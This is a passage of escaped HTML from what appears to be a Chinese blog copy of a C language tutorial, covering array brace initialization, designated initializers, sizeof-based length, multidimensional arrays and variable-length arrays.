class=\"number\"\u003e18\u003c/span\u003e, \u003cspan class=\"number\"\u003e95\u003c/span\u003e}; \u003cspan class=\"comment\"\u003e// 报错\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面代码中,数组\u003ccode\u003ea\u003c/code\u003e声明之后再进行大括号赋值,导致报错。\u003c/p\u003e\u003cp\u003e报错的原因是,C 语言规定,数组变量一旦声明,就不得修改变量指向的地址,具体会在后文解释。由于同样的原因,数组赋值之后,再用大括号修改值,也是不允许的。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e a[\u003cspan class=\"number\"\u003e5\u003c/span\u003e] = {\u003cspan class=\"number\"\u003e1\u003c/span\u003e, \u003cspan class=\"number\"\u003e2\u003c/span\u003e, \u003cspan class=\"number\"\u003e3\u003c/span\u003e, \u003cspan class=\"number\"\u003e4\u003c/span\u003e, \u003cspan class=\"number\"\u003e5\u003c/span\u003e};\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003ea = {\u003cspan class=\"number\"\u003e22\u003c/span\u003e, \u003cspan class=\"number\"\u003e37\u003c/span\u003e, \u003cspan class=\"number\"\u003e3490\u003c/span\u003e, \u003cspan class=\"number\"\u003e18\u003c/span\u003e, \u003cspan class=\"number\"\u003e95\u003c/span\u003e}; \u003cspan class=\"comment\"\u003e// 报错\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面代码中,数组\u003ccode\u003ea\u003c/code\u003e赋值后,再用大括号重新赋值也是不允许的。\u003c/p\u003e\u003cp\u003e使用大括号赋值时,大括号里面的值不能多于数组的长度,否则编译时会报错。\u003c/p\u003e\u003cp\u003e如果大括号里面的值,少于数组的成员数量,那么未赋值的成员自动初始化为\u003ccode\u003e0\u003c/code\u003e。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e a[\u003cspan class=\"number\"\u003e5\u003c/span\u003e] = {\u003cspan class=\"number\"\u003e22\u003c/span\u003e, \u003cspan class=\"number\"\u003e37\u003c/span\u003e, \u003cspan class=\"number\"\u003e3490\u003c/span\u003e};\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// 等同于\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e a[\u003cspan class=\"number\"\u003e5\u003c/span\u003e] = {\u003cspan class=\"number\"\u003e22\u003c/span\u003e, \u003cspan class=\"number\"\u003e37\u003c/span\u003e, \u003cspan class=\"number\"\u003e3490\u003c/span\u003e, \u003cspan class=\"number\"\u003e0\u003c/span\u003e, \u003cspan class=\"number\"\u003e0\u003c/span\u003e};\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e如果要将整个数组的每一个成员都设置为零,最简单的写法就是下面这样。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e a[\u003cspan class=\"number\"\u003e100\u003c/span\u003e] = {\u003cspan class=\"number\"\u003e0\u003c/span\u003e};\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e数组初始化时,可以指定为哪些位置的成员赋值。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e a[\u003cspan class=\"number\"\u003e15\u003c/span\u003e] = {[\u003cspan class=\"number\"\u003e2\u003c/span\u003e] = \u003cspan class=\"number\"\u003e29\u003c/span\u003e, [\u003cspan class=\"number\"\u003e9\u003c/span\u003e] = \u003cspan class=\"number\"\u003e7\u003c/span\u003e, [\u003cspan class=\"number\"\u003e14\u003c/span\u003e] = \u003cspan class=\"number\"\u003e48\u003c/span\u003e};\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,数组的2号、9号、14号位置被赋值,其他位置的值都自动设为0。\u003c/p\u003e\u003cp\u003e指定位置的赋值可以不按照顺序,下面的写法与上面的例子是等价的。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e a[\u003cspan class=\"number\"\u003e15\u003c/span\u003e] = {[\u003cspan class=\"number\"\u003e9\u003c/span\u003e] = \u003cspan class=\"number\"\u003e7\u003c/span\u003e, [\u003cspan class=\"number\"\u003e14\u003c/span\u003e] = \u003cspan class=\"number\"\u003e48\u003c/span\u003e, [\u003cspan class=\"number\"\u003e2\u003c/span\u003e] = \u003cspan class=\"number\"\u003e29\u003c/span\u003e};\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e指定位置的赋值与顺序赋值,可以结合使用。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e a[\u003cspan class=\"number\"\u003e15\u003c/span\u003e] = {\u003cspan class=\"number\"\u003e1\u003c/span\u003e, [\u003cspan class=\"number\"\u003e5\u003c/span\u003e] = \u003cspan class=\"number\"\u003e10\u003c/span\u003e, \u003cspan class=\"number\"\u003e11\u003c/span\u003e, [\u003cspan class=\"number\"\u003e10\u003c/span\u003e] = \u003cspan class=\"number\"\u003e20\u003c/span\u003e, \u003cspan class=\"number\"\u003e21\u003c/span\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,0号、5号、6号、10号、11号被赋值。\u003c/p\u003e\u003cp\u003eC 语言允许省略方括号里面的数组成员数量,这时将根据大括号里面的值的数量,自动确定数组的长度。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e a[] = {\u003cspan class=\"number\"\u003e22\u003c/span\u003e, \u003cspan class=\"number\"\u003e37\u003c/span\u003e, \u003cspan class=\"number\"\u003e3490\u003c/span\u003e};\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// 等同于\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e a[\u003cspan class=\"number\"\u003e3\u003c/span\u003e] = {\u003cspan class=\"number\"\u003e22\u003c/span\u003e, \u003cspan class=\"number\"\u003e37\u003c/span\u003e, \u003cspan class=\"number\"\u003e3490\u003c/span\u003e};\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,数组\u003ccode\u003ea\u003c/code\u003e的长度,将根据大括号里面的值的数量,确定为\u003ccode\u003e3\u003c/code\u003e。\u003c/p\u003e\u003cp\u003e省略成员数量时,如果同时采用指定位置的赋值,那么数组长度将是最大的指定位置再加1。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e a[] = {[\u003cspan class=\"number\"\u003e2\u003c/span\u003e] = \u003cspan class=\"number\"\u003e6\u003c/span\u003e, [\u003cspan class=\"number\"\u003e9\u003c/span\u003e] = \u003cspan class=\"number\"\u003e12\u003c/span\u003e};\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,数组\u003ccode\u003ea\u003c/code\u003e的最大指定位置是\u003ccode\u003e9\u003c/code\u003e,所以数组的长度是10。\u003c/p\u003e\u003ch3 id=\"数组长度\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#%E6%95%B0%E7%BB%84%E9%95%BF%E5%BA%A6\" class=\"headerlink\" title=\"数组长度\"\u003e\u003c/a\u003e数组长度\u003c/h3\u003e\u003cp\u003e\u003ccode\u003esizeof\u003c/code\u003e运算符会返回整个数组的字节长度。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e a[] = {\u003cspan class=\"number\"\u003e22\u003c/span\u003e, \u003cspan class=\"number\"\u003e37\u003c/span\u003e, \u003cspan class=\"number\"\u003e3490\u003c/span\u003e};\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e arrLen = \u003cspan class=\"keyword\"\u003esizeof\u003c/span\u003e(a); \u003cspan class=\"comment\"\u003e// 12\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,\u003ccode\u003esizeof\u003c/code\u003e返回数组\u003ccode\u003ea\u003c/code\u003e的字节长度是\u003ccode\u003e12\u003c/code\u003e。\u003c/p\u003e\u003cp\u003e由于数组成员都是同一个类型,每个成员的字节长度都是一样的,所以数组整体的字节长度除以某个数组成员的字节长度,就可以得到数组的成员数量。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003esizeof\u003c/span\u003e(a) / \u003cspan class=\"keyword\"\u003esizeof\u003c/span\u003e(a[\u003cspan class=\"number\"\u003e0\u003c/span\u003e])\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,\u003ccode\u003esizeof(a)\u003c/code\u003e是整个数组的字节长度,\u003ccode\u003esizeof(a[0])\u003c/code\u003e是数组成员的字节长度,相除就是数组的成员数量。\u003c/p\u003e\u003cp\u003e注意,\u003ccode\u003esizeof\u003c/code\u003e返回值的数据类型是\u003ccode\u003esize_t\u003c/code\u003e,所以\u003ccode\u003esizeof(a) / sizeof(a[0])\u003c/code\u003e的数据类型也是\u003ccode\u003esize_t\u003c/code\u003e。在\u003ccode\u003eprintf()\u003c/code\u003e里面的占位符,要用\u003ccode\u003e%zd\u003c/code\u003e或\u003ccode\u003e%zu\u003c/code\u003e。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e x[\u003cspan class=\"number\"\u003e12\u003c/span\u003e];\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%zu\\n\u0026#34;\u003c/span\u003e, \u003cspan class=\"keyword\"\u003esizeof\u003c/span\u003e(x)); \u003cspan class=\"comment\"\u003e// 48\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%zu\\n\u0026#34;\u003c/span\u003e, \u003cspan class=\"keyword\"\u003esizeof\u003c/span\u003e(\u003cspan class=\"type\"\u003eint\u003c/span\u003e)); \u003cspan class=\"comment\"\u003e// 4\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%zu\\n\u0026#34;\u003c/span\u003e, \u003cspan class=\"keyword\"\u003esizeof\u003c/span\u003e(x) / \u003cspan class=\"keyword\"\u003esizeof\u003c/span\u003e(\u003cspan class=\"type\"\u003eint\u003c/span\u003e)); \u003cspan class=\"comment\"\u003e// 12\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,\u003ccode\u003esizeof(x) / sizeof(int)\u003c/code\u003e就可以得到数组成员数量\u003ccode\u003e12\u003c/code\u003e。\u003c/p\u003e\u003ch3 id=\"多维数组\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#%E5%A4%9A%E7%BB%B4%E6%95%B0%E7%BB%84\" class=\"headerlink\" title=\"多维数组\"\u003e\u003c/a\u003e多维数组\u003c/h3\u003e\u003cp\u003eC 语言允许声明多个维度的数组,有多少个维度,就用多少个方括号,比如二维数组就使用两个方括号。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e board[\u003cspan class=\"number\"\u003e10\u003c/span\u003e][\u003cspan class=\"number\"\u003e10\u003c/span\u003e];\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例声明了一个二维数组,第一个维度有10个成员,第二个维度也有10个成员。\u003c/p\u003e\u003cp\u003e多维数组可以理解成,上层维度的每个成员本身就是一个数组。比如上例中,第一个维度的每个成员本身就是一个有10个成员的数组,因此整个二维数组共有100个成员(10 x 10 = 100)。\u003c/p\u003e\u003cp\u003e三维数组就使用三个方括号声明,以此类推。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e c[\u003cspan class=\"number\"\u003e4\u003c/span\u003e][\u003cspan class=\"number\"\u003e5\u003c/span\u003e][\u003cspan class=\"number\"\u003e6\u003c/span\u003e];\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e引用二维数组的每个成员时,需要使用两个方括号,同时指定两个维度。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003eboard[\u003cspan class=\"number\"\u003e0\u003c/span\u003e][\u003cspan class=\"number\"\u003e0\u003c/span\u003e] = \u003cspan class=\"number\"\u003e13\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eboard[\u003cspan class=\"number\"\u003e9\u003c/span\u003e][\u003cspan class=\"number\"\u003e9\u003c/span\u003e] = \u003cspan class=\"number\"\u003e13\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e注意,\u003ccode\u003eboard[0][0]\u003c/code\u003e不能写成\u003ccode\u003eboard[0, 0]\u003c/code\u003e,因为\u003ccode\u003e0, 0\u003c/code\u003e是一个逗号表达式,返回第二个值,所以\u003ccode\u003eboard[0, 0]\u003c/code\u003e等同于\u003ccode\u003eboard[0]\u003c/code\u003e。\u003c/p\u003e\u003cp\u003e跟一维数组一样,多维数组每个维度的第一个成员也是从\u003ccode\u003e0\u003c/code\u003e开始编号。\u003c/p\u003e\u003cp\u003e多维数组也可以使用大括号,一次性对所有成员赋值。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e a[\u003cspan class=\"number\"\u003e2\u003c/span\u003e][\u003cspan class=\"number\"\u003e5\u003c/span\u003e] = {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e {\u003cspan class=\"number\"\u003e0\u003c/span\u003e, \u003cspan class=\"number\"\u003e1\u003c/span\u003e, \u003cspan class=\"number\"\u003e2\u003c/span\u003e, \u003cspan class=\"number\"\u003e3\u003c/span\u003e, \u003cspan class=\"number\"\u003e4\u003c/span\u003e},\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e {\u003cspan class=\"number\"\u003e5\u003c/span\u003e, \u003cspan class=\"number\"\u003e6\u003c/span\u003e, \u003cspan class=\"number\"\u003e7\u003c/span\u003e, \u003cspan class=\"number\"\u003e8\u003c/span\u003e, \u003cspan class=\"number\"\u003e9\u003c/span\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e};\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,\u003ccode\u003ea\u003c/code\u003e是一个二维数组,这种赋值写法相当于将第一维的每个成员写成一个数组。这种写法不用为每个成员都赋值,缺少的成员会自动设置为\u003ccode\u003e0\u003c/code\u003e。\u003c/p\u003e\u003cp\u003e多维数组也可以指定位置,进行初始化赋值。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e a[\u003cspan class=\"number\"\u003e2\u003c/span\u003e][\u003cspan class=\"number\"\u003e2\u003c/span\u003e] = {[\u003cspan class=\"number\"\u003e0\u003c/span\u003e][\u003cspan class=\"number\"\u003e0\u003c/span\u003e] = \u003cspan class=\"number\"\u003e1\u003c/span\u003e, [\u003cspan class=\"number\"\u003e1\u003c/span\u003e][\u003cspan class=\"number\"\u003e1\u003c/span\u003e] = \u003cspan class=\"number\"\u003e2\u003c/span\u003e};\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,指定了\u003ccode\u003e[0][0]\u003c/code\u003e和\u003ccode\u003e[1][1]\u003c/code\u003e位置的值,其他位置就自动设为\u003ccode\u003e0\u003c/code\u003e。\u003c/p\u003e\u003cp\u003e不管数组有多少维度,在内存里面都是线性存储,\u003ccode\u003ea[0][0]\u003c/code\u003e的后面是\u003ccode\u003ea[0][1]\u003c/code\u003e,\u003ccode\u003ea[0][1]\u003c/code\u003e的后面是\u003ccode\u003ea[1][0]\u003c/code\u003e,以此类推。因此,多维数组也可以使用单层大括号赋值,下面的语句是上面的赋值语句是完全等同的。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e a[\u003cspan class=\"number\"\u003e2\u003c/span\u003e][\u003cspan class=\"number\"\u003e2\u003c/span\u003e] = {\u003cspan class=\"number\"\u003e1\u003c/span\u003e, \u003cspan class=\"number\"\u003e0\u003c/span\u003e, \u003cspan class=\"number\"\u003e0\u003c/span\u003e, \u003cspan class=\"number\"\u003e2\u003c/span\u003e};\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch3 id=\"变长数组\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#%E5%8F%98%E9%95%BF%E6%95%B0%E7%BB%84\" class=\"headerlink\" title=\"变长数组\"\u003e\u003c/a\u003e变长数组\u003c/h3\u003e\u003cp\u003e数组声明的时候,数组长度除了使用常量,也可以使用变量。这叫做变长数组(variable-length array,简称 VLA)。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e n = x + y;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e arr[n];\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,数组\u003ccode\u003earr\u003c/code\u003e就是变长数组,因为它的长度取决于变量\u003ccode\u003en\u003c/code\u003e的值,编译器没法事先确定,只有运行时才能知道\u003ccode\u003en\u003c/code\u003e是多少。\u003c/p\u003e\u003cp\u003e变长数组的根本特征,就是数组长度只有运行时才能确定。它的好处是程序员不必在开发时,随意为数组指定一个估计的长度,程序可以在运行时为数组分配精确的长度。\u003c/p\u003e\u003cp\u003e任何长度需要运行时才能确定的数组,都是变长数组。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e i = \u003cspan class=\"number\"\u003e10\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan 